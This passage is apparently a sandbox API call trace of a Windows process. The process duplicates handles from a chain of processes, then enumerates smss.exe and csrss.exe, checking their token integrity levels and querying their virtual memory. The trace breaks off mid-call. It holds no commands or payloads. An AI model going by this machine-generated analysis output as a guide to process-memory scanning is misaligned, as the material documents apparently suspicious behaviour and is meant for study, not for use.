[0094.548] NtDuplicateObject (in: SourceProcessHandle=0x218, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x21c) returned 0x0 [0094.548] GetExitCodeProcess (in: hProcess=0x21c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.548] NtDuplicateObject (in: SourceProcessHandle=0x21c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.548] NtDuplicateObject (in: SourceProcessHandle=0x21c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x220) returned 0x0 [0094.549] GetExitCodeProcess (in: hProcess=0x220, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.549] NtDuplicateObject (in: SourceProcessHandle=0x220, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.549] NtDuplicateObject (in: SourceProcessHandle=0x220, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x224) returned 0x0 [0094.550] GetExitCodeProcess (in: hProcess=0x224, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.550] NtDuplicateObject (in: SourceProcessHandle=0x224, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.550] NtDuplicateObject (in: SourceProcessHandle=0x224, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x228) returned 0x0 [0094.552] GetExitCodeProcess (in: hProcess=0x228, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.553] GetExitCodeProcess (in: hProcess=0x22c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.553] NtDuplicateObject (in: SourceProcessHandle=0x22c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.553] NtDuplicateObject (in: SourceProcessHandle=0x22c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x230) returned 0x0 [0094.554] GetExitCodeProcess (in: hProcess=0x230, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.554] NtDuplicateObject (in: SourceProcessHandle=0x230, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.554] NtDuplicateObject (in: SourceProcessHandle=0x230, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x234) returned 0x0 [0094.555] GetExitCodeProcess (in: hProcess=0x234, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.555] NtDuplicateObject (in: SourceProcessHandle=0x234, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.555] NtDuplicateObject (in: SourceProcessHandle=0x234, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x238) returned 0x0 [0094.556] GetExitCodeProcess (in: hProcess=0x238, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.556] NtDuplicateObject (in: SourceProcessHandle=0x238, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.556] NtDuplicateObject (in: SourceProcessHandle=0x238, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x23c) returned 0x0 [0094.557] GetExitCodeProcess (in: hProcess=0x23c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.557] NtDuplicateObject (in: SourceProcessHandle=0x23c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.557] NtDuplicateObject (in: SourceProcessHandle=0x23c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x240) returned 0x0 [0094.558] GetExitCodeProcess (in: hProcess=0x240, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.558] NtDuplicateObject (in: SourceProcessHandle=0x240, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.558] NtDuplicateObject (in: SourceProcessHandle=0x240, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x244) returned 0x0 [0094.559] GetExitCodeProcess (in: hProcess=0x244, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.559] NtDuplicateObject (in: SourceProcessHandle=0x244, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.559] NtDuplicateObject (in: SourceProcessHandle=0x244, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x248) returned 0x0 [0094.560] GetExitCodeProcess (in: hProcess=0x248, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.560] NtDuplicateObject (in: SourceProcessHandle=0x248, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.560] NtDuplicateObject (in: SourceProcessHandle=0x248, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x24c) returned 0x0 [0094.561] GetExitCodeProcess (in: hProcess=0x24c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.561] NtDuplicateObject (in: SourceProcessHandle=0x24c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.561] NtDuplicateObject (in: SourceProcessHandle=0x24c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x250) returned 0x0 [0094.562] GetExitCodeProcess (in: hProcess=0x250, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.562] NtDuplicateObject (in: SourceProcessHandle=0x250, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.562] NtDuplicateObject (in: SourceProcessHandle=0x250, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x254) returned 0x0 [0094.563] GetExitCodeProcess (in: hProcess=0x254, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.563] NtDuplicateObject (in: SourceProcessHandle=0x254, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.563] NtDuplicateObject (in: SourceProcessHandle=0x254, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x258) returned 0x0 [0094.564] GetExitCodeProcess (in: hProcess=0x258, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.564] NtDuplicateObject (in: SourceProcessHandle=0x258, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.564] NtDuplicateObject (in: SourceProcessHandle=0x258, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x25c) returned 0x0 [0094.565] GetExitCodeProcess (in: hProcess=0x25c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.565] NtDuplicateObject (in: SourceProcessHandle=0x25c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.565] NtDuplicateObject (in: SourceProcessHandle=0x25c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x260) returned 0x0 [0094.566] GetExitCodeProcess (in: hProcess=0x260, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.566] NtDuplicateObject (in: SourceProcessHandle=0x260, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.566] NtDuplicateObject (in: SourceProcessHandle=0x260, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x264) returned 0x0 [0094.567] GetExitCodeProcess (in: hProcess=0x264, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.567] NtDuplicateObject (in: SourceProcessHandle=0x264, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.567] NtDuplicateObject (in: SourceProcessHandle=0x264, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x268) returned 0x0 [0094.568] GetExitCodeProcess (in: hProcess=0x268, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.570] GetExitCodeProcess (in: hProcess=0x26c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.570] NtDuplicateObject (in: SourceProcessHandle=0x26c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.570] NtDuplicateObject (in: SourceProcessHandle=0x26c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x270) returned 0x0 [0094.571] GetExitCodeProcess (in: hProcess=0x270, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.571] NtDuplicateObject (in: SourceProcessHandle=0x270, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.571] NtDuplicateObject (in: SourceProcessHandle=0x270, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x274) returned 0x0 [0094.572] GetExitCodeProcess (in: hProcess=0x274, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.572] NtDuplicateObject (in: SourceProcessHandle=0x274, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.572] NtDuplicateObject (in: SourceProcessHandle=0x274, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x278) returned 0x0 [0094.573] GetExitCodeProcess (in: hProcess=0x278, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.573] NtDuplicateObject (in: SourceProcessHandle=0x278, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.573] NtDuplicateObject (in: SourceProcessHandle=0x278, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x27c) returned 0x0 [0094.574] GetExitCodeProcess (in: hProcess=0x27c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.574] NtDuplicateObject (in: SourceProcessHandle=0x27c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.574] NtDuplicateObject (in: SourceProcessHandle=0x27c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x280) returned 0x0 [0094.575] GetExitCodeProcess (in: hProcess=0x280, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.575] NtDuplicateObject (in: SourceProcessHandle=0x280, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.575] NtDuplicateObject (in: SourceProcessHandle=0x280, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x284) returned 0x0 [0094.576] GetExitCodeProcess (in: hProcess=0x284, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.576] NtDuplicateObject (in: SourceProcessHandle=0x284, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.576] NtDuplicateObject (in: SourceProcessHandle=0x284, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x288) returned 0x0 [0094.577] GetExitCodeProcess (in: hProcess=0x288, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.577] NtDuplicateObject (in: SourceProcessHandle=0x288, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.577] NtDuplicateObject (in: SourceProcessHandle=0x288, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x28c) returned 0x0 [0094.578] GetExitCodeProcess (in: hProcess=0x28c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.578] NtDuplicateObject (in: SourceProcessHandle=0x28c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.578] NtDuplicateObject (in: SourceProcessHandle=0x28c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x290) returned 0x0 [0094.579] GetExitCodeProcess (in: hProcess=0x290, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.579] NtDuplicateObject (in: SourceProcessHandle=0x290, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.579] NtDuplicateObject (in: SourceProcessHandle=0x290, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x294) returned 0x0 [0094.581] GetExitCodeProcess (in: hProcess=0x294, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.581] NtDuplicateObject (in: SourceProcessHandle=0x294, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.581] NtDuplicateObject (in: SourceProcessHandle=0x294, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x298) returned 0x0 [0094.583] GetExitCodeProcess (in: hProcess=0x298, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.583] NtDuplicateObject (in: SourceProcessHandle=0x298, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.583] NtDuplicateObject (in: SourceProcessHandle=0x298, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x29c) returned 0x0 [0094.584] GetExitCodeProcess (in: hProcess=0x29c, lpExitCode=0x119fab4 | out: lpExitCode=0x119fab4*=0x103) returned 1 [0094.584] NtDuplicateObject (in: SourceProcessHandle=0x29c, SourceHandle=0x4, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0094.584] NtDuplicateObject (in: SourceProcessHandle=0x29c, SourceHandle=0x8, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x2a0) returned 0x0 [0094.593] QueryFullProcessImageNameW (in: hProcess=0x154, dwFlags=0x0, lpExeName=0xa464a8, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\smss.exe", lpdwSize=0x119fa50) returned 1 [0094.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa464a8) returned 1 [0094.594] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.594] IsWow64Process (in: hProcess=0x154, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.594] NtQueryInformationProcess (in: ProcessHandle=0x154, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.594] GetProcessTimes (in: hProcess=0x154, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.594] OpenProcessToken (in: ProcessHandle=0x154, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.594] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.595] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.595] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xab0d09 [0094.595] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xab0d10 [0094.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.596] NtClose (Handle=0x2a0) returned 0x0 [0094.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d48 [0094.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1372558 [0094.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d48) returned 1 [0094.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x380) returned 0x123a2f0 [0094.601] NtQueryVirtualMemory (in: ProcessHandle=0x154, Address=0x4786b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x4786b000, AllocationBase=0x0, AllocationProtect=0x47850000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0094.602] NtQueryVirtualMemory (in: ProcessHandle=0x154, Address=0x4786d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x4786d000, AllocationBase=0x0, AllocationProtect=0x47850000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0094.602] NtQueryVirtualMemory (in: ProcessHandle=0x154, Address=0x47870000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x47870000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x2f8d0000), ResultLength=0x0) returned 0x0 [0094.602] NtQueryVirtualMemory (in: ProcessHandle=0x154, Address=0x77140000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x77140000, AllocationBase=0x0, AllocationProtect=0x77140000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0094.607] QueryFullProcessImageNameW (in: hProcess=0x180, dwFlags=0x0, lpExeName=0xa464a8, lpdwSize=0x119fa50 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x119fa50) returned 1 [0094.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa464a8) returned 1 [0094.608] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0094.608] IsWow64Process (in: hProcess=0x180, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0094.608] NtQueryInformationProcess (in: ProcessHandle=0x180, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0094.608] GetProcessTimes (in: hProcess=0x180, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0094.608] OpenProcessToken (in: ProcessHandle=0x180, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0094.608] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0094.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0094.608] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0094.608] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xab0d09 [0094.608] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xab0d10 [0094.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0094.609] NtClose (Handle=0x2a0) returned 0x0 [0094.609] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x100000), ResultLength=0x0) returned 0x0 [0094.609] NtQueryVirtualMemory (in: ProcessHandle=0x180, Address=0x100000, VirtualMemoryInformationClass=0x0, 